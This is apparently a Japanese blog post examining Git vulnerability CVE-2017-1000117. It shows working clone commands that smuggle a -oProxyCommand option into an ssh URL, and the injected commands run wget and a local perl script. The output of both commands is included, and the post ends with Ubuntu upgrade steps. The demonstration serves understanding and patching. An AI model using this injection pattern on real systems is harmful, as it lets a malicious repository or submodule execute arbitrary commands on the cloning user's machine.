Gitの脆弱性(CVE-2017-1000117)について調べてみた
8/11にGitの脆弱性 ( CVE-2017-1000117 )が発生しました。
https://oss.sios.com/security/git-security-vulnerabiltiy-20170813
内容はこうです。
gitクライアント上での任意のコマンド実行の可能性
Gitでの"ssh"URLハンドリングにshellコマンドインジェクションの欠陥が見つかりました。 これを利用して、悪意のあるレポジトリや悪意のあるコミットを行われたを レポジトリに対して"clone"アクションをGitクライアントで実行した際に、 Gitクライアントを実行したユーザの権限でshellコマンドを実行される可能性が有ります。
どうやらsshのURL部にOSコマンドインジェクションを埋め込めるようです。
脆弱性を確認する
では試してみます。
$ git --version #git version 1.9.1 $ git clone ssh://-oProxyCommand='wget www.google.co.jp'/hoge #Cloning into 'hoge'... #Pseudo-terminal will not be allocated because stdin is not a terminal. #--2017-08-15 05:06:18-- http://www.google.co.jp/ #Resolving www.google.co.jp (www.google.co.jp)... 216.58.221.3, 2404:6800:4004:814::2003 #Connecting to www.google.co.jp (www.google.co.jp)|216.58.221.3|:80... connected. #HTTP request sent, awaiting response... 200 OK #Length: unspecified [text/html] #Saving to: ‘index.html’ # # [ <=> ] 10,643 --.-K/s in 0s # #2017-08-15 05:06:18 (301 MB/s) - ‘index.html’ saved [10643] # #ssh_exchange_identification: Connection closed by remote host #fatal: Could not read from remote repository. # #Please make sure you have the correct access rights #and the repository exists. $ ls #index.html
おっと、簡単にwget出来てしまいました。。
スクリプトも実行できるんでしょうか? perlで以下のようなスクリプトを作ってみます。
#!/usr/bin/perl open(FILE, '> /tmp/hoge'); print FILE "hoge"; close(FILE);
これを実行できるか試してみます。
$ git clone ssh://-oProxyCommand='perl test.pl'/hoge #Cloning into 'hoge'... #Pseudo-terminal will not be allocated because stdin is not a terminal. #fatal: Could not read from remote repository. # #Please make sure you have the correct access rights #and the repository exists. $ cat /tmp/hoge #hoge
perlも簡単に実行できました。
こんなリポジトリ名なら、普通Cloneしないと思いますが、
同じようなことがGitサブモジュールでも出来るようなので
仕組まれていたら気づかない可能性もあります。
なので、Gitのバージョンアップは早めにやっちゃいましょう!
Gitのバージョンアップ方法
環境はUbuntuです。
$ sudo apt-get update $ sudo apt-get install git git-man # 確認 $ sudo dpkg -l | grep git